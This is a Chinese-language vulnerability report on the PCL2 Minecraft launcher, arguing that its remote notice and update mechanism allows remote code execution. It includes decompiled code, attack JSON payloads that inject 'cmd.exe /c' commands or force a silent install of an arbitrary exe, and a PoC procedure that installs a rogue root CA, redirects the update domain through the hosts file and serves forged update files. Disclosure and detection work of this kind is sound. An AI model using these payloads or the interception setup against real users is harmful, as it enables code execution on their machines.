# PCL2 `notice.json` 远程代码执行分析报告
2026-10-21
省流:PCL2 在特定情况下有能力从服务器下载命令并执行。
|[
](https://www.bilibili.com/video/BV1LZnz6bEXb/)|
|:---|
|[哔哩哔哩上的视频演示](https://www.bilibili.com/video/BV1LZnz6bEXb/),谢谢“盖的二次方”帮忙上传。|
研究员利益相关:https://github.com/MiRinFork/PCLPoC/discussions/1
避免不必要的讨论,谢谢。
## 目录
- [0. 摘要](#0-摘要)
- [1. 样本与来源](#1-样本与来源)
- [2. 启动时的远程控制代码](#2-启动时的远程控制代码)
- [3. 利用方法一:notice.json → setup → LaunchAdvanceRun](#method1)
- [4. 利用方法二:notice.cfg + slientupdate → 静默更新 → 任意 exe](#method2)
- [5. 为什么这构成"后门"](#backdoor)
- [6. PoC](#poc)
- [7. 检测与响应](#response)
- [8. 附录](#footnotes)
## 0. 摘要
从蓝奏云下载的样本与官方仓库 Hex-Dragon/PCL2 提交 6b9a50df911c9d68b69b24c979efba477fb14b67(2.99.0.0 正式版)中"最新正式版.zip"内的 exe SHA256 一致。
```
6b6e1260cb5a1d6a303855f1c60cab3d0bc1aebba7e40a964180188b271e7386 Plain Craft Launcher 2.exe
6b6e1260cb5a1d6a303855f1c60cab3d0bc1aebba7e40a964180188b271e7386 official/Plain Craft Launcher 2.exe
```
程序每次启动都会连接 HTTP 地址,按版本条件拉三个 JSON/文本:`notice.cfg`、`notice.json`、`ServerConfig.json`。客户端拿到后直接解释执行其中的 `actions`。
在这个基础上能搭出三条利用方法。
方法一:`notice.json` → `actions.setup` → `LaunchAdvanceRun` → 游戏启动时 `cmd.exe /c "<任意命令>"`。需求方提供的样本走的就是这条路径,我把它复现成了 launch 模式。
方法二:`notice.cfg` 写非常高的版本号 → 客户端重新下载攻击者的 `ServerConfig.json` → `Update.Release.DownloadUrls` 指向任意 zip → 解压到 `PCL\` → 用户正常关闭 PCL 时执行 `PCL\Plain Craft Launcher 2.exe`,也就是攻击者的 exe。
方法三:`setup` 写入 `UiCustomType=2`、`UiCustomNet=<恶意 XAML>`、`HintCustomCommand=true`,下次启动加载远程自定义主页。
审查代码后的判断是设计上就把服务器下发的 JSON 作为执行目标。`setup` 执行任意命令。
btw,开源仓库里的 `ModSecret.vb` 被刻意删减,远程内容无从审计。
## 1. 样本与来源
### 1.1 基本信息
| 项目 | 值 |
|---|---|
| 文件名 | `Plain Craft Launcher 2.exe` |
| 大小 | 5,980,160 字节 |
| 类型 | PE32 GUI,Intel 80386,Mono/.NET assembly |
| 运行时 | .NET Framework 4.x + WPF(`PresentationFramework` / `PresentationCore` / `System.Xaml`) |
| 版本 | `PCL2/2.99.0.0.50`;`VersionCode = 413`;`BuildType = Release(50)` |
| SHA-256 | `6b6e1260cb5a1d6a303855f1c60cab3d0bc1aebba7e40a964180188b271e7386` |
### 1.2 与官方发布包的比对
```bash
git clone --depth 1 https://github.com/Hex-Dragon/PCL2.git
unzip 最新正式版.zip -d official
sha256sum official/Plain\ Craft\ Launcher\ 2.exe "Plain Craft Launcher 2.exe"
```
### 1.3 反编译方法
使用 ilspycmd 9.1,`-p -o decompiled` 便直接生成工程。
整个程序 520 个类型,关键文件如下:
- `PCL/ModSecret.cs`:公告、更新、联网配置、土豆码
- `PCL/PageLaunchRight.cs`:自定义主页加载
- `PCL/CustomEvent.cs`:自定义事件
- `PCL/ModBase.cs`:`GetObjectFromXML`
- `PCL/Settings.cs`:设置项定义与持久化
- `PCL/ModLaunch.cs`:`LaunchAdvanceRun` 的实际执行代码
### 1.4 并非开源
官方仓库的 `Plain Craft Launcher 2/Modules/ModSecret.vb` 第一行写着:
```vb
'由于包含加解密等安全信息,本文件中的部分代码已被删除
```
整个文件只剩 203 行,`notice`、`ServerConfig`、`UpdateStart`、`CheckPotatoCode` 这些逻辑一概没有;而发布版二进制里有完整的实现。
也就是说,远程内容这一整块是闭源的。
这和社区声称“开源启动器”的论调不符,也是这次"后门"争议的来源。
## 2. 启动时的远程控制代码
### 2.1 调用
`FormMain` 初始化完成后启动 `ModSecret.ServerLoader`:
```csharp
// PCL/ModSecret.cs:382
public static ModLoader.LoaderTask ServerLoader =
new ModLoader.LoaderTask("PCL 配置更新", ServerSub, null, ThreadPriority.BelowNormal);
```
`ServerSub`(`ModSecret.cs:1262`)依次做这几件事:
1. `GET https://pcl2-server-1253424809.file.myqcloud.com/notice.cfg{CDN}`
2. 第一段解析成公告编号 `num3`,第五段是服务器配置版本 `num4`
3. 若本地 `Cache\ServerConfig.json` 的 `Version < num4`,下载 `ServerConfig.json{CDN}`
4. 若 `num3 > HintNotice` 或缓存不存在,下载 `notice.json{CDN}` 并写入 `%TEMP%\PCL\Cache\Notice.json`
5. `Settings.Set("HintNotice", num3)`
6. 反序列化 `notice.json`,逐条匹配 `requirements`,弹出公告,执行 `buttons[].actions` 或顶层 `actions`
关键代码:
```csharp
// PCL/ModSecret.cs:1324
text3 = ModNet.NetRequestByClientRetry(
"https://pcl2-server-1253424809.file.myqcloud.com/notice.cfg{CDN}");
num3 = (int)Math.Round(ModBase.Val(StringExtensions.Split(text3, "|", false)[0]));
// PCL/ModSecret.cs:1382
ModNet.NetDownloadByClient(
"https://pcl2-server-1253424809.file.myqcloud.com/ServerConfig.json{CDN}", text);
// PCL/ModSecret.cs:1403
text4 = ModNet.NetRequestByClientRetry(
"https://pcl2-server-1253424809.file.myqcloud.com/notice.json{CDN}",
null, null, null, null, "*/*", null, RequireJson: true);
FileUtils.Write(ModBase.PathTemp + "Cache\\Notice.json", text4, null);
Settings.Set("HintNotice", num3);
```
### 2.2 actions 的完整能力
`ModSecret.cs:1479-1534`:
```csharp
foreach (JProperty item3 in obj) {
JProperty val4 = item3;
switch (val4.Name) {
case "copy":
ModBase.ClipboardSet(val4.Value.ToString()); // 静默改剪贴板
break;
case "website":
ModBase.OpenWebsite(val4.Value.ToString()); // 打开任意 http(s)
break;
case "stop":
ModMain.FrmMain.EndProgram(SendWarning: false); // 静默退出
break;
case "setup":
JObject val5 = (JObject)val4.Value;
foreach (KeyValuePair item4 in val5)
Settings.Set(item4.Key, item4.Value.ToString()); // 设置任意的 key👀 What is that?
break;
case "update":
case "slientupdate":
bool flag3 = Operators.CompareString(val4.Name, "slientupdate", false) == 0;
if (!HasUpdatePermission) { ... }
UpdateStart(flag3); // 静默自我更新
break;
default:
throw new Exception("未知的行动支:" + val4.Name + ", " + val4.Value.ToString());
}
}
```
其中 `setup` 没有任何 key 白名单/黑名单,遍历字典直接写:
```csharp
foreach (KeyValuePair item4 in val5)
Settings.Set(item4.Key, item4.Value.ToString());
```
`Settings.Set` 会按设置项定义的类型做 `CTypeDynamic` 转换。
### 2.3 HasUpdatePermission 恒为 true
```csharp
// PCL/ModSecret.cs:402
private static bool HasUpdatePermission => true;
```
### 2.4 阿里纳西?是签名不是签名
`SecretCdnSign`(`ModSecret.cs:428-445`)的算法:
```text
path = URL 中 "://" 之后的第一个 "/" 起
ts = UTC Unix 秒
rand = 8 位小写十六进制随机数
key = "PCL2Server" // 硬编码在客户端
hash = MD5(path + "-" + ts + "-" + rand + "-0-" + key)
URL = path + "?sign=" + ts + "-" + rand + "-0-" + hash
```
签名只能防止"URL 被随意拼接"。
密钥硬编码在客户端,任何拿到 exe 的人都能生成合法签名。
然而不是密码学意义上的签名。
### 2.5 线上公告的真实形态
`notice.json`(2026-10-21 时获取):
```json
[
{
"id": 230,
"requirements": { "versioncode <=": 413, "versionbranch <=": 0 },
"importantLevel": 1,
"isUpdate": true,
"title": "悲报",
"description": "为遵守相关法律法规,PCL 不再提供 MC 下载功能,非常抱歉 qwq……",
"buttons": [
{
"text": "更新 PCL",
"actions": { "update": { "requireUserInput": true } }
}
]
}
]
```
`ServerConfig.json` 中 `Update.Release.DownloadUrls` 指向下载链接。
### 2.6 信任边界
```mermaid
flowchart TD
A["OSS"] -->|"未签名 JSON"| B["PCL 客户端"]
B --> C["actions.setup"]
B --> D["actions.slientupdate"]
B --> E["actions.copy / website / stop"]
C --> F["Settings.Set(任意键)"]
F --> G["LaunchAdvanceRun / UiCustomNet"]
G --> H["cmd.exe /c ..."]
D --> I["UpdateStart(Silent=true)"]
I --> J["ServerConfig.DownloadUrls"]
J --> K["任意 ZIP"]
K --> L["解压"]
L --> M["执行 EXE"]
E --> N["剪贴板 / 浏览器 / 退出"]
```
信任边界画在了"TLS 连接"上,而不是"内容"上。TLS 终端(CDN 或中间人)返回什么 JSON,客户端就当成什么厂商指令来执行。`{CDN}` 的 MD5 签名只保证 URL 不被随意拼,管不了内容替换,何况密钥就躺在客户端里。
## 3. 利用方法一:`notice.json → setup → LaunchAdvanceRun`(点击"启动游戏")
### 3.1 样本
测试样本:
```json
[
{
"id": 114514,
"title": "",
"description": "",
"requirements": {},
"actions": {
"setup": {
"LaunchAdvanceRun": "cmd.exe /c calc.exe",
"LaunchAdvanceRunWait": "False"
}
}
}
]
```
这份 JSON 会被 `setup` 逐键写进设置:`LaunchAdvanceRun` 是游戏启动前执行的全局命令(字符串),`LaunchAdvanceRunWait` 控制是否等待命令结束。
实战里有个坑:`importantLevel` 缺省为 2,而 PCL 会拿它和 `SystemSystemActivity`(用户之前点"不再提示"的等级)比较,如果目标机器上的值比 2 大,这条公告会被直接跳过。PoC 用 `importantLevel: 999` 绕开这一点。
### 3.2 LaunchAdvanceRun 到底何时执行
反编译代码里这个设置只有一个消费点:
```csharp
// PCL/ModLaunch.cs:2865
private static void McLaunchCustom(ModLoader.LoaderTask Loader)
{
string text = Settings.Get("LaunchAdvanceRun");
...
if (Operators.CompareString(text, "", false) != 0)
{
McLaunchLog("正在执行全局自定义命令:" + text, (LogLevel)1);
Process process = ModBase.StartProcess(new ProcessStartInfo
{
FileName = "cmd.exe",
Arguments = $"/c \"{text}\"",
WorkingDirectory = ModMinecraft.McFolderSelected,
UseShellExecute = false,
CreateNoWindow = true
});
if (Settings.Get("LaunchAdvanceRunWait"))
while (!process.HasExited && !Loader.IsCanceled) Thread.Sleep(10);
}
}
```
`McLaunchCustom` 是 `McLaunchStart` 加载器的一环(`ModLaunch.cs:482`),只在用户点击"启动游戏"之后执行。
所以这个形态是一次点击的 RCE:用户点"启动游戏" → `cmd.exe /c "<命令>"`,命令以当前用户权限、无确认框执行。`LaunchAdvanceRunWait=False` 进入后台。
另有一前提,目标机器上得有可用的 Minecraft 版本,否则会在更早的"获取 Java / 登录 / 补全文件"阶段失败,不然触摸不到 `McLaunchCustom`。
### 3.3 同一原语还能写哪些危险设置
`setup` 能写任意已存在的设置键(不存在的键会抛 `KeyNotFoundException`,被逐 action 的 try/catch 捕获)。和代码执行、持久化有关的重点设置 key:
| 设置 key | 作用 | 风险 |
|---|---|---|
| `LaunchAdvanceRun` | 游戏启动前 `cmd /c` | 任意命令(利用方法一) |
| `LaunchAdvanceRunWait` | 是否等待命令 | 控制阻塞/隐藏 |
| `HintCustomCommand` | 跳过自定义事件确认框 | 关闭最后一道确认 |
| `LaunchAdvanceJvm` | 追加 JVM 参数 | `-agentpath` / `-javaagent` 加载任意 DLL/JAR |
| `LaunchAdvanceGame` | 追加游戏参数 | 影响 MC 进程 |
| `ToolDownloadSource` | 下载源 | 改变后续下载来源 |
| `SystemSystemTelemetry` | 匿名遥测开关 | 隐私 |
| `Identify` | 设备识别码 | 指纹/定向 |
## 4. 利用方法二:`notice.cfg + slientupdate → 静默更新 → 任意 exe`
这个比上一个更强,他是一个 0 click
### 4.1 提高版本,强制刷新 ServerConfig
`notice.cfg` 的格式是 `id|?|?|?|configVersion`,`ServerSub` 拿第五段和本地 `Cache\ServerConfig.json` 的 `Version` 比较:
```csharp
double num4 = ModBase.Val(StringExtensions.Split(text3, "|", false)[4]);
if ((double)num < num4) {
ModNet.NetDownloadByClient(
"https://pcl2-server-1253424809.file.myqcloud.com/ServerConfig.json{CDN}", text);
ServerConfig = (JObject)FileUtils.ReadAsJson(text, null, null);
}
```
攻击者可以把 `configVersion` 设成 999,所有客户端就会重新下载攻击者的 `ServerConfig.json`。
### 4.2 slientupdate 选择攻击者的下载 URL
`notice.json`:
```json
[
{
"id": 114514,
"requirements": {},
"importantLevel": 999,
"actions": { "slientupdate": {} }
}
]
```
`UpdateStart(Silent: true)` 的"获取更新信息"任务:
```csharp
// PCL/ModSecret.cs:1004-1026
JObject val = (JObject)ServerConfig["Update"][ModBase.BuildTypes.Release.ToString()];
if (val.ContainsKey("PatchUrls") && StartsWithF(UpdateMark, "Empty", false))
Urls = val["PatchUrls"].ToObject>();
else if (val.ContainsKey("DownloadUrls"))
Urls = val["DownloadUrls"].ToObject>();
// 扩展名直接取自 URL
Extension = "." + PathUtils.GetExtension(BeforeLast(Urls.First(), "{CDN}", false));
LocalPath = string.Format("{0}{1}.{2}{3}",
ModMain.RequestTaskTempFolder(), "2.99.0.0", 50, Extension);
```
`UpdateMark` 的默认值以 `"Empty"` 开头,所以只要攻击者的 `ServerConfig` 不提供 `PatchUrls`,就会落到 `DownloadUrls`。下载 URL 可以是任意 `http(s)://`,扩展名直接取自 URL,这里用 `.zip`。
### 4.3 解压到 PCL\,退出时执行
```csharp
// PCL/ModSecret.cs:190-211
internal void _Lambda_0024__2()
{
string text = Paths.Base + "PCL\\Plain Craft Launcher 2.exe";
if (FileUtils.Exists(text)) FileUtils.Delete(text, false);
if (Extension == ".zip")
FileUtils.ExtractToDirectory(LocalPath, Paths.Base + "PCL\\", ...);
else
MsDelta.Apply(ModBase.PathExe, LocalPath, Paths.Base + "PCL\\Plain Craft Launcher 2.exe");
if (IsSilentUpdate) {
IsUpdateWaitingRestart = true;
return;
}
...
}
```
```csharp
// PCL/ModSecret.cs:1084-1097
public static void UpdateRestart(bool TriggerRestartAndByEnd)
{
IsUpdateWaitingRestart = false;
string fileName = Paths.Base + "PCL\\Plain Craft Launcher 2.exe";
string text = $"--update {Process.GetCurrentProcess().Id} " +
$"\"{AppDomain.CurrentDomain.SetupInformation.ApplicationName}\" " +
$"\"{AppDomain.CurrentDomain.SetupInformation.ApplicationName}\" {TriggerRestartAndByEnd}";
ModBase.StartProcess(new ProcessStartInfo(fileName)
{
WindowStyle = ProcessWindowStyle.Hidden,
CreateNoWindow = true,
Arguments = text
});
if (TriggerRestartAndByEnd) ModMain.FrmMain.EndProgram(SendWarning: false);
}
```
`EndProgram` 在退出前检查 `IsUpdateWaitingRestart` 并调用 `UpdateRestart(TriggerRestartAndByEnd: false)`(`FormMain.cs:1963`)。
### 4.4 完整时间线(零点击)
```mermaid
flowchart TD
A["PCL 启动"]
A --> B["GET notice.cfg
configVersion=999"]
B --> C["GET ServerConfig.json
Version=999
DownloadUrls=https://.../update.zip"]
C --> D["GET notice.json
actions.slientupdate"]
D --> E["UpdateStart(Silent=true)"]
E --> F["GET update.zip"]
F --> G["ZIP 内仅包含 Plain Craft Launcher 2.exe
实际为攻击者 EXE"]
G --> H["解压到 PCL目录/PCL/Plain Craft Launcher 2.exe"]
H --> I["IsUpdateWaitingRestart = true"]
I --> J["用户正常关闭 PCL"]
J --> K["EndProgram"]
K --> L["UpdateRestart(false)"]
L --> M["Process.Start
PCL目录/PCL/Plain Craft Launcher 2.exe --update ..."]
M --> N["攻击者 EXE 运行计算器"]
```
### 4.5 这里是自动更新!别的启动器都有
相比较同行,一个正常的自动更新至少应该有签名或 checksum。并且更新来源是固定的。以及可以被检查的任何行为。
而不是偷偷给你运行一个包,美名其曰静默更新,其他整合包、启动器都有。上面规划是好的,就是执行坏了?
## 5. 为什么这是"后门",不是自动更新?
| 能力 | 实现 | 后门特征 |
|---|---|---|
| 启动即连固定 C2 | `notice.cfg` / `notice.json` / `ServerConfig.json` | 每次启动自动回连 |
| 远程任意设置 | `setup` + `Settings.Set` | 可改启动参数、主页、更新源、安全开关 |
| 远程静默更新 | `slientupdate` + `UpdateStart(true)` | 可替换自身为任意 exe |
| 远程退出/剪贴板/开网页 | `stop` / `copy` / `website` | 可做定向操作 |
| 无 Authenticode | PE Security Directory = 0 | 替换/篡改难被发现 |
| 闭源关键模块 | 官方源码删除 `ModSecret` 公告逻辑 | 不可审计 |
| 设备指纹 | `Identify`(主板 `LastConfig` + 持久随机数) | 可定向投递 |
我们在这里研究的是“能不能”,不是作者“会不会?”
历史是一本教科书,他告诉我们人们不能从历史吸取教训。
Android 某 Root 程序 S……e 在服务器塞反注入代码,有两种行为,其一随机卡死手机,其二抹掉数据。目的是好的——反盗版说是,只是执行坏了——反盗版机制会干掉正版用户。
知名第三方聊天软件 N……m,开源软件不放任何恶意代码,发布版本写入自动上传代码。作者声称:
> If your question is, “Is it true?”, the answer is yes, numbers were sent to the bot. But not a single number has been stored anywhere or shared with anyone ever.
>
> Some people are asking for an “explanation”, but what kind of explanation do you want? It sends your phone number, it is what it is.
你信吗?
那 PCL 作者,你信吗?
### 5.1 侏罗纪老头进蓝奏云放的
截至笔者完成本报告,没有发现第三方二次打包或额外植入的恶意代码。依据如下:
- 样本 SHA-256 与官方仓库发布包 SHA256 一致;
- PE 只有 3 个节,是正常 .NET assembly,没有加壳或附加节;
- 出站域名主要是官方 CDN、GitHub/CNB、BMCLAPI、Modrinth/CurseForge、微软登录、腾讯云 CLS 遥测,以及 `PageLaunchRight` 里列出的社区主页预设(如 `qawsedrftgyhujiko.fun`、`g-fish.dpdns.org` 等,均为用户可选的"主页预设",不是隐藏 C2);
- 没有发现隐藏的 `cmd.exe`/PowerShell 拼接、反射加载任意 URL、计划任务/服务安装这类典型木马行为(`cmd.exe` 只出现在游戏启动、更新安装等常规路径)。
真正的问题在官方本身。
### 5.2 攻击链映射(MITRE ATT&CK)
| 阶段 | 技术 | 本报告对应 |
|---|---|---|
| 初始访问/供应链 | T1195 Supply Chain Compromise | 控制 CDN / 构建 / 更新源 |
| 资源开发 | T1587 Develop Capabilities | 伪造 `notice.json` / `ServerConfig` |
| 执行 | T1059.003 Windows Command Shell | `LaunchAdvanceRun` → `cmd /c` |
| 执行 | T1204.002 User Execution: Malicious File | 主页按钮/"启动游戏"点击 |
| 持久化 | T1546 Event Triggered Execution | 公告每次启动执行 |
| 防御规避 | T1553 Subvert Trust Controls | 无 Authenticode/内容签名;关闭确认框 |
| 命令与控制 | T1105 Ingress Tool Transfer | `certutil` / 任意 `.zip` 下载 |
| 影响 | T1554 Compromise Host Software Binary | 静默替换 `PCL\Plain Craft Launcher 2.exe` |
## 6. PoC
### 6.1 设计
我们模拟官方服务器。
1. 生成 CA,并为 `pcl2-server-1253424809.file.myqcloud.com` 签发叶子证书;
2. 把 CA 装进 Windows 根证书存储;
3. 改 hosts,把公告域名指到 `127.0.0.1`;
4. 本地 443 起 HTTPS 服务器,返回伪造的 `notice.cfg` / `notice.json` / `ServerConfig.json` / `update.zip`;
5. 启动 PCL,按模式触发:`launch` 是启动后点"启动游戏";`update` 是等静默更新 staging 后关闭 PCL;`xaml` 是第一次启动写设置、第二次启动点页面按钮;
6. payload 写 `%TEMP%\pcl-poc-marker.txt` 并启动 `calc.exe`;
7. 清理 hosts / 根证书 / PCL 注册表与 staging。
### 6.2 文件清单
```text
poc/
├── server.ps1 # 纯 PowerShell HTTPS 伪造服务器(默认,无需 Python)
├── server.py # Python 版服务器(-Server python 时使用)
├── Invoke-PCLPoC.ps1 # Windows 管理员一键脚本(自签证书/hosts/启动/清理)
├── certs/
│ ├── ca.crt / ca.key # 实验室 CA
│ └── server.crt / server.key # 为公告域名签发的 leaf
├── samples/ # 需求方原始 notice.json 与计算器变体
├── www/ # update.zip / 静态文件(运行时生成)
└── README.md # 运行说明
```
### 6.3 前置条件
- Windows 虚拟机;
- PCL2 2.99.0.0(样本 exe);
- .NET Framework 4.8(Windows 自带);
- 管理员权限(改 hosts、装根证书、监听 443);Windows PowerShell 5.1(脚本会自动从 pwsh 7 切回 5.1);
- `launch` 模式需要一个可启动的 Minecraft 实例;
- 首次运行 PCL 需先手动接受 EULA 并初始化。
### 6.4 运行
```powershell
# 以管理员身份打开 PowerShell
cd \poc
powershell -ExecutionPolicy Bypass -File .\Invoke-PCLPoC.ps1 -Mode update
```
- `-Mode update`:零点击方法二。脚本启动 PCL,等 `PCL\Plain Craft Launcher 2.exe` staging 出现,关闭 PCL,校验 `%TEMP%\pcl-poc-marker.txt` 与 `calc.exe`。
- `-Mode launch`:利用方法一。脚本启动 PCL 后提示你点"启动游戏",然后校验 marker。
- `-Mode both`:默认,利用方法一加方法二。
- `-Manual`:不自动启动/关闭 PCL。脚本只装 CA、改 hosts、起服务端,然后等你按 Enter;PCL 由研究者自己启动/关闭,适合用自己已配置好的 PCL,并在关闭前继续看日志或抓包。按 Enter 后才校验 marker 并清理。
- `-Manual` 且省略 `-PclPath`:完全 server-only,不读取、不备份、不启动、不关闭任何 PCL;此时公告对 `PCL\Setup.ini` 的修改不会自动恢复,建议用可丢弃的 PCL 副本。
也可以手动分步跑:
```powershell
# 1) 安装 CA
Import-Certificate .\certs\ca.crt -CertStoreLocation Cert:\LocalMachine\Root
# 2) 改 hosts
Add-Content $env:SystemRoot\System32\drivers\etc\hosts "`r`n127.0.0.1 pcl2-server-1253424809.file.myqcloud.com"
# 3) 起服务
powershell.exe -File .\server.ps1 -Mode update -Port 443 -PayloadExe C:\Users\Public\pclpoc.exe -CertThumbprint <叶子证书指纹>
# 或者用 Python 版:
# python .\server.py --mode update --port 443 --payload-exe C:\Users\Public\pclpoc.exe
# 4) 启动 PCL,等待更新 staging,关闭 PCL
```
### 6.5 预期结果
`update` 模式:
1. 服务端日志(`server.out.log`)出现:
```
[req ] /notice.cfg
[req ] /ServerConfig.json
[req ] /notice.json
[req ] /update.zip
```
2. `\PCL\Plain Craft Launcher 2.exe` 出现(内容为 payload);
3. 关闭 PCL 后,`calc.exe` 启动;
4. `%TEMP%\pcl-poc-marker.txt` 内容类似:
```
2026-10-21T23:45:12.3456789+08:00 pid=1234 args=--update 5678 "Plain Craft Launcher 2.exe" ...
```
`launch` 模式:
1. PCL 日志出现:
```
执行 PCL 服务器公告动作...(setup, ...)
...
正在执行全局自定义命令:C:\Users\Public\pclpoc.exe
```
2. 点击"启动游戏"后 `calc.exe` 启动,marker 生成。
`xaml` 模式:
1. 第二次启动后 `%TEMP%\PCL\Cache\Custom.xaml` 出现;
2. 点击页面 `Continue` 后 `calc.exe` 启动,marker 生成;
3. PCL 日志出现 `执行自定义事件:执行命令, C:\Users\Public\pclpoc.exe`。
## 7. 检测与响应
### 7.1 主机侧
- `hosts` 中出现 `pcl2-server-1253424809.file.myqcloud.com` 指向非官方 IP;
- 根证书存储中出现非官方 CA(尤其 CN 含 `PoC` 或随机字符串的);
- PCL 目录出现 `PCL\Plain Craft Launcher 2.exe` staging;
- `%TEMP%\PCL\Cache\Notice.json`、`notice.cfg`、`ServerConfig.json` 内容异常;
- 注册表 `HKCU\Software\PCL\HintNotice` 突然变大;
- `PCL\Setup.ini` 中 `LaunchAdvanceRun`、`UiCustomType`、`UiCustomNet`、`HintCustomCommand` 被改成陌生值;
- PCL 日志关键词:`下载 PCL 服务器公告`、`执行 PCL 服务器公告动作`、`启动器静默更新`、`更新程序启动`、`执行全局自定义命令`、`执行自定义事件:执行命令`。
### 7.2 网络侧
- 对 `pcl2-server-1253424809.file.myqcloud.com` 的 `notice.cfg` / `notice.json` / `ServerConfig.json` 请求;
- 随后对任意 `DownloadUrls` 的 `.zip` 下载;
- 证书异常(非腾讯云/非官方 CA);
- DNS 解析异常。
### 7.3 修复建议
请更换更有信任的更新机制。
### 7.4 披露建议
无。
### 7.5 风险评级
| 维度 | 评估 |
|---|---|
| 严重性 | High / 供应链级 RCE |
| 攻击向量 | 网络(CDN 内容、DNS、TLS 中间人) |
| 前提 | 控制公告 CDN 内容,或能让系统信任攻击者证书 |
| 用户交互 | `update` 仅需正常关闭 PCL;`launch` 需一次点击 |
| 影响 | 当前用户权限任意代码执行、持久化、数据窃取、批量控制 |
| 检测难度 | 中高:无文件落地也可通过 `PCL\Plain Craft Launcher 2.exe` 暂存发现;日志有特征 |
## 8. 附录
### A. 关键代码位置
| 功能 | 文件:行 |
|---|---|
| `ServerLoader` 定义 | `PCL/ModSecret.cs:382` |
| `ServerSub` 公告主流程 | `PCL/ModSecret.cs:1262` |
| `notice.cfg` 拉取 | `PCL/ModSecret.cs:1324` |
| `ServerConfig.json` 拉取 | `PCL/ModSecret.cs:1382` |
| `notice.json` 拉取/缓存 | `PCL/ModSecret.cs:1403-1406` |
| `actions` 分发 | `PCL/ModSecret.cs:1479-1534` |
| `setup` 任意设置 | `PCL/ModSecret.cs:1495-1502` |
| `HasUpdatePermission => true` | `PCL/ModSecret.cs:402` |
| `UpdateStart` | `PCL/ModSecret.cs:957` |
| 更新 URL 选择 | `PCL/ModSecret.cs:1004-1026` |
| zip 解压/安装 | `PCL/ModSecret.cs:190-211` |
| `UpdateRestart` | `PCL/ModSecret.cs:1084-1097` |
| `LaunchAdvanceRun` 执行 | `PCL/ModLaunch.cs:2865-2925` |
| 自定义主页加载 | `PCL/PageLaunchRight.cs:385-419` |
| XAML 黑名单 | `PCL/ModBase.cs:1418-1447` |
| 自定义事件执行命令 | `PCL/CustomEvent.cs:129-150` |
| 事件确认绕过 | `PCL/CustomEvent.cs:455-470` |
| 设置默认值 | `PCL/Settings.cs:141-175, 246-249, 315-320` |
| 遥测 | `PCL/ModMain.cs:1807-1837` |
### B. 官方来源
- 仓库:
- commit 提交:`6b9a50df911c9d68b69b24c979efba477fb14b67`(`2.99.0.0 正式版`)
- 相关安全公告:
- (自定义主页 WebBrowser,CVE-2025-31488)
- (xmlns 过滤绕过)
- (ZipSlip)
- (日志泄露 AccessToken)